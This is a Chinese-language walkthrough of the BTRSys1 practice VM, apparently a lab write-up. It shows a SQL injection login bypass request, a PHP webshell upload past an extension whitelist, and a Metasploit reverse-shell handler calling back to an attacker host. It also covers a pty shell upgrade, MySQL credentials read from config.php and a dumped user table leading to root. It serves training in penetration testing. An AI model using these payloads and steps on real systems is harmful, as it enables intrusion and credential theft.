简介

图片

HackGame:BTRSys1
靶场IP10.10.10.137
任务:拿到root用户

学习到的知识

通过Sql注入(类似于万能密码)绕过登陆
通过白名单验证图片上传限制

信息搜集

拿到靶机IP后首先NMAP扫扫端口开放服务:

1
nmap -A -T4 10.10.10.137

图片

它是开放了21(ftp)、22(ssh)、80(http)三个端口,其中ftp运行匿名用户登陆,我们首先使用匿名用户登陆一下ftp看看,这把使用的是Windows下自带的ftp协议,直接在文件夹里输入:

1
ftp://10.10.10.137

图片

登陆进去发现没有任何文件,那么ftp无果后我来到了80端口看看能不能从web来突破:

1
http://10.10.10.137

图片

从页面上我没有找到可利用的地方,我遍开始对它进行爆破枚举网站目录:

1
dirb http://10.10.10.137
1
2
3
4
5
6
7
---- Scanning URL: http://10.10.10.137/ ----
+ http://10.10.10.137/login.php (CODE:200|SIZE:4561)
==> DIRECTORY: http://10.10.10.137/assets/
+ http://10.10.10.137/index.php (CODE:200|SIZE:758)
==> DIRECTORY: http://10.10.10.137/javascript/
+ http://10.10.10.137/server-status (CODE:403|SIZE:292)
==> DIRECTORY: http://10.10.10.137/uploads/

图片

其中login.php引起了我的注意:

1
http://10.10.10.137/login.php

图片

它很显然是一个登陆的页面,尝试了弱口令无结果,审查元素看了看源代码发现了一段JS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function control(){
var user = document.getElementById("user").value;
var pwd = document.getElementById("pwd").value;

var str=user.substring(user.lastIndexOf("@")+1,user.length);

if((pwd == "'")){
alert("Hack Denemesi !!!");

}
else if (str!="btrisk.com"){
alert("Yanlis Kullanici Bilgisi Denemektesiniz");

}
else{

document.loginform.submit();
}
}

图片

这段JavaScript代码对它的用户名进行判断,用户名必须要为@btrisk.com结尾,那么尝试一下注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /personel.php HTTP/1.1
Host: 10.10.10.137
Content-Length: 53
Cache-Control: max-age=0
Origin: http://10.10.10.137
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
X-Forwarded-For: 192.168.1.1
Referer: http://10.10.10.137/login.php
Accept-Language: zh-CN,zh;q=0.9
Connection: close

kullanici_adi=hacker@btrisk.com&parola=111'or 1=1 --+

图片

通过注入登陆进了后台发现了一个上传点,通过尝试上传脚本文件PHP发现不允许上传,只允许上传JPGPNG格式的文件(白名单验证)

图片

那么我们就先把PHP脚本木马修改为jpg格式,然后抓包拦截吧后缀修改为PHP成功突破白名单验证

图片

通过MSF监听回来:

1
2
3
4
5
set payload php/meterpreter/reverse_tcp
use exploit/multi/handler
set lhost 10.10.10.134
set lport 8888
exploit

图片

因为刚刚扫描WEB目录的时候有一个upload目录,那个目录就是上传的路径:

图片

访问脚本木马反弹shell

1
http://10.10.10.137/uploads/2.php

图片

查看权限发现是一个网站普通权限,而且不是一个bash的shell,我们通过Python让它变成bash的shell:

1
python -c "import pty;pty.spawn('/bin/bash')"

图片

通过在网站根目录/vat/www/html下发现了一个配置文件config.php:

图片

里面是mysql的连接账号密码:

1
2
3
user : root
pass : toor
database : deneme

它只允许本地连接到mysql,那么我们就通过得到的账号密码连接到它的mysql数据库里:

1
2
mysql -uroot -p
pass : toor

图片

通过查看deneme数据库下的user表发现了账号密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| deneme |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)

mysql> use deneme;
use deneme;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_deneme |
+------------------+
| user |
+------------------+
1 row in set (0.00 sec)

mysql> select * from user;
select * from user;
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
| ID | Ad_Soyad | Kullanici_Adi | Parola | BabaAdi | BabaMeslegi | AnneAdi | AnneMeslegi | KardesSayisi |
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
| 1 | ismail kaya | ikaya@btrisk.com | asd123*** | ahmet | muhasebe | nazli | lokantaci | 5 |
| 2 | can demir | cdmir@btrisk.com | asd123*** | mahmut | memur | gulsah | tuhafiyeci | 8 |
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
2 rows in set (0.00 sec)

图片

最终得到的密码成功切换到root用户:

图片

总结

首先是通过扫描目录来到了一个登陆页面,通过Sql注入进入到了上传页面,通过白名单绕过得到了一枚shell。最后通过在数据库配置文件中找到了mysql的连接信息拿到账号密码,最终拿到root用户!